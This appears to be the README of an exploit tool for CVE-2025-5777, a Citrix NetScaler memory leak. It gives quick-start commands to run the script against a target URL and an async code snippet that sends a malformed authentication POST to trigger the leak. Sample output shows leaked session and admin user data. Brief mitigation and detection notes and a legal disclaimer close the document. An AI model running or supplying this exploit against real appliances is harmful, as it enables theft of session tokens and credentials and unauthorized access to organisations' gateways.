CVE-2025-5777 - Citrix NetScaler Memory Leak Exploit

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📌 Overview

This tool demonstrates CVE-2025-5777, a critical memory disclosure vulnerability in Citrix NetScaler ADC/Gateway devices. The exploit leaks sensitive memory contents via malformed authentication requests.

Key Features:
✔ Memory leak detection via XML response parsing
✔ Hex+ASCII dump of leaked memory regions
✔ Burp Suite-compatible request format
✔ Asynchronous requests for efficient testing

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🔍 Proof-of-Concept

1. Vulnerable Request (Burp Suite)

2. Exploit in Action

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⚡ Quick Start

git clone https://github.com/bughuntar/CVE-2025-5777.git
cd CVE-2025-5777
pip install requests beautifulsoup4 aiohttp colorama
chmod +x citrix_memory_leak.py
python3 citrix_memory_leak.py https://target-netscaler.com

Expected Output:

+ [+] Memory leak detected!
--- Leaked Memory Hex Dump ---
00000000  73 65 73 73 69 6F 6E 3D 31 32 33 34 35 36 37 38  session=12345678
00000010  55 73 65 72 3A 20 61 64 6D 69 6E 00 00 00 00 00  User: admin.....

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🛡️ Mitigation

Action	Command/Reference
Patch	Citrix Security Bulletin
WAF Rule	Block POST /p/u/doAuthentication.do with malformed params
Detection	grep 'POST /p/u/doAuthentication.do' netscaler.log

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📚 Resources

• NVD Entry
• Technical Writeup

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🖥️ Code Highlights

# Malformed request trigger
async def exploit(target):
    async with aiohttp.post(
        f"{target}/p/u/doAuthentication.do",
        data="login",  # Missing equals sign triggers leak
        ssl=False
    ) as response:
        await parse_leak(await response.read())

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⚠️ Legal Notice

- This tool is for authorized testing ONLY.
- Unauthorized use violates international cybersecurity laws.

Full disclaimer: DISCLAIMER.md

Author: Professor the Hunter